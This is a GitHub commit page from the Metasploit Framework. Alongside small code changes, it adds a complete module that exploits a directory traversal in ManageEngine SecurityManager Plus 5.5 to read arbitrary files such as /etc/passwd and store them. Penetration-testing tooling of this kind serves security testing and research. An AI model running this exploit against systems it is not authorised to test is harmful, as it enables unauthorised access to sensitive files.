Skip to content

Commit 736b835

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge branch 'upstream-master' into WinRM_piecemeal
2 parents c91f0ca + 5e873d0 commit 736b835

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

52 files changed

+990
-65
lines changed

lib/msf/core/db_manager.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -588,8 +588,8 @@ def search_modules(search_string, inclusive=false)
588588
where_v << [ xv, xv ]
589589
when 'os','platform'
590590
xv = "%#{kv}%"
591-
where_q << ' ( module_targets.name ILIKE ? ) '
592-
where_v << [ xv ]
591+
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
592+
where_v << [ xv, xv ]
593593
when 'port'
594594
# TODO
595595
when 'type'

lib/rex/text.rb

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22
require 'digest/md5'
3+
require 'digest/sha1'
34
require 'stringio'
45

56
begin
@@ -812,6 +813,20 @@ def self.md5(str)
812813
Digest::MD5.hexdigest(str)
813814
end
814815

816+
#
817+
# Raw SHA1 digest of the supplied string
818+
#
819+
def self.sha1_raw(str)
820+
Digest::SHA1.digest(str)
821+
end
822+
823+
#
824+
# Hexidecimal SHA1 digest of the supplied string
825+
#
826+
def self.sha1(str)
827+
Digest::SHA1.hexdigest(str)
828+
end
829+
815830
#
816831
# Convert hex-encoded characters to literals.
817832
# Example: "AA\\x42CC" becomes "AABCC"

modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -135,8 +135,8 @@ def run
135135
sunrpc_destroy
136136

137137
rescue ::Rex::Proto::SunRPC::RPCTimeout
138-
print_status 'Warning: ' + $!
139-
print_status 'Exploit may or may not have succeeded.'
138+
print_warning 'Warning: ' + $!
139+
print_warning 'Exploit may or may not have succeeded.'
140140
end
141141

142142

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in ManageEngine
21+
SecurityManager Plus 5.5 or less. When handling a file download request,
22+
the DownloadServlet class fails to properly check the 'f' parameter, which
23+
can be abused to read any file outside the virtual directory.
24+
},
25+
'References' =>
26+
[
27+
['OSVDB', '86563'],
28+
['EDB', '22092']
29+
],
30+
'Author' =>
31+
[
32+
'blkhtc0rp', #Original
33+
'sinn3r'
34+
],
35+
'License' => MSF_LICENSE,
36+
'DisclosureDate' => "Oct 19 2012"
37+
))
38+
39+
register_options(
40+
[
41+
OptPort.new('RPORT', [true, 'The target port', 6262]),
42+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
43+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
44+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
45+
], self.class)
46+
end
47+
48+
49+
def run_host(ip)
50+
base = target_uri.path
51+
base << '/' if base[-1,1] != '/'
52+
53+
peer = "#{ip}:#{rport}"
54+
fname = datastore['FILE']
55+
56+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
57+
traverse = "../" * datastore['DEPTH']
58+
res = send_request_cgi({
59+
'method' => 'GET',
60+
'uri' => "#{base}store",
61+
'vars_get' => {
62+
'f' => "#{traverse}#{datastore['FILE']}"
63+
}
64+
})
65+
66+
67+
if res and res.code == 500 and res.body =~ /Error report/
68+
print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
69+
print_error("\t1. File does not exist.")
70+
print_error("\t2. The server does not have any patches deployed.")
71+
print_error("\t3. Your 'DEPTH' option isn't deep enough.")
72+
print_error("\t4. Some kind of permission issues.")
73+
74+
elsif res and res.code == 200
75+
data = res.body
76+
p = store_loot(
77+
'manageengine.securitymanager',
78+
'application/octet-stream',
79+
ip,
80+
data,
81+
fname
82+
)
83+
84+
vprint_line(data)
85+
print_good("#{peer} - #{fname} stored as '#{p}'")
86+
87+
else
88+
print_error("#{peer} - Fail to obtain file for some unknown reason")
89+
end
90+
end
91+
92+
end

modules/auxiliary/scanner/smb/smb_version.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -101,6 +101,8 @@ def run_host(ip)
101101

102102
conf[:os_sp] = res['sp'] if res['sp']
103103
conf[:os_lang] = res['lang'] if res['os'] =~ /Windows/
104+
conf[:SMBName] = simple.client.default_name if simple.client.default_name
105+
conf[:SMBDomain] = simple.client.default_domain if simple.client.default_domain
104106

105107
report_note(
106108
:host => ip,

modules/auxiliary/spoof/dns/bailiwicked_domain.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -144,7 +144,7 @@ def cmd_check(*args)
144144
end
145145

146146
if(reps < 30)
147-
print_status("WARNING: This server did not reply to all of our requests")
147+
print_warning("WARNING: This server did not reply to all of our requests")
148148
end
149149

150150
if(random)

modules/auxiliary/spoof/dns/bailiwicked_host.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,7 @@ def cmd_check(*args)
134134
end
135135

136136
if(reps < 30)
137-
print_status("WARNING: This server did not reply to all of our requests")
137+
print_warning("WARNING: This server did not reply to all of our requests")
138138
end
139139

140140
if(random)

modules/exploits/linux/http/symantec_web_gateway_file_upload.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,7 @@ def check
7070
end
7171

7272
def on_new_session(client)
73+
print_warning("Deleting temp.php")
7374
if client.type == "meterpreter"
7475
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
7576
client.fs.file.rm("temp.php")

modules/exploits/linux/http/webid_converter.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,7 @@ def on_new_session(client)
109109
res = client.fs.file.search(nil, "currencies.php", true, -1)
110110
res.each do |hit|
111111
filename = "#{hit['path']}/#{hit['name']}"
112-
print_status("#{peer} - Restoring #{filename}")
112+
print_warning("#{peer} - Restoring #{filename}")
113113
client.fs.file.rm(filename)
114114
fd = client.fs.file.new(filename, "wb")
115115
fd.write(currencies_php)

0 commit comments

Comments
 (0)